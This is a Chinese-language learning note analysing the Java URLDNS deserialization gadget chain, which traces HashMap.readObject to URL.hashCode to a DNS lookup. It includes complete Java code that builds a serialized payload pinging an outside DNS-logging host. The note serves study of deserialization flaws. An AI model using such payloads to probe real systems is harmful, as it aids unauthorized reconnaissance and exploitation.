Java学习之URLDNS链

先放代码，感觉还是自己跟着视频手写一遍更好理解，很多理解放在注释中了

import java.lang.reflect.Field;  
import java.util.HashMap; //入口类  
import java.net.URL;  //调用链中的类  
import java.io.*;  
  
public class URLDNS {  
    public static void main(String[] args) throws Exception{  
  
        HashMap <URL,Object> hashMap = new HashMap<>();  
        URL url = new URL("http://vnmkzfpuho.dnstunnel.run");  
  
        //通过反射获取到url中的hashcode属性  
        Field field = url.getClass().getDeclaredField("hashCode");  
        //hashcode为私有属性，通过下面方法设置为可操作  
        field.setAccessible(true);  
  
        //这里在put前需要将hashCode值改一下，不然put方法也会请求dns，这样不管有没有反序列化都会请求dns  
  
        field.set(url,2);  //重新设，避免混淆  
  
        hashMap.put(url,2);  
  
        field.set(url,-1);  //改回，不然这条链就不能利用  
  
        //进行序列化  
        ObjectOutputStream w = new ObjectOutputStream(new FileOutputStream("bin.ser"));  
        w.writeObject(hashMap);  
        System.out.println(w);  
  
        //进行反序列化  
        ObjectInputStream o = new ObjectInputStream(new FileInputStream("bin.ser"));  
        o.readObject();  
    }  
}

原理

看一下大佬总结的原理
java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

开始分析

进入到hashMap类中可以看到它有序列化的接口

并且重写了readObject，这个方法用于序列化数据，在Java中，如果readObject被重写那么首先会调用重写的readObject，下面这里的s为输入流证明可控

开始调试，首先直接在下面这里进入hashMap类

然后找到readObject方法在putVal()方法位置下断点

这里hash()方法对key值重新进行了计算而key值为URL类的对象，跟进看一下

hash()方法里面调用了hashCode()方法，这里key是URL的对象所以这里的hashCode方法是URL类中的，这里调试的时候一定要到key为URL对象后才能进入URL类中hashCode()方法，不然进入的就是Object中的hashCode()方法，对于小白这里很容易迷糊，比如我，继续跟进

来到了URL的hashCode()方法，可以看到这里值不为-1的话就直接返回了，所以值必须为-1，在这个类中它的值已经初始化好了

继续分析，下面这里对hashCode进行了处理，跟进handler对象的hashCode()方法

可以看到handler是URLStreamHandler的对象

可以看到在对hashCode进行处理时调用了getHostAddress()方法，这个方法可以获取IP地址

跟进这个方法，这里直接贴一位大佬带有注释的代码

protected synchronized InetAddress getHostAddress(URL u) {
    if (u.hostAddress != null)//先判断该URL的hostAddress属性是否已经有值了
        return u.hostAddress;//如果已有值，直接返回

    String host = u.getHost();//获取Host
    if (host == null || host.equals("")) {
        return null;
    } else {
        try {
            u.hostAddress = InetAddress.getByName(host);//获取IP地址，并把值赋给URL的hostAddress
        } catch (UnknownHostException ex) {
            return null;
        } catch (SecurityException se) {
            return null;
        }
    }
    return u.hostAddress;
}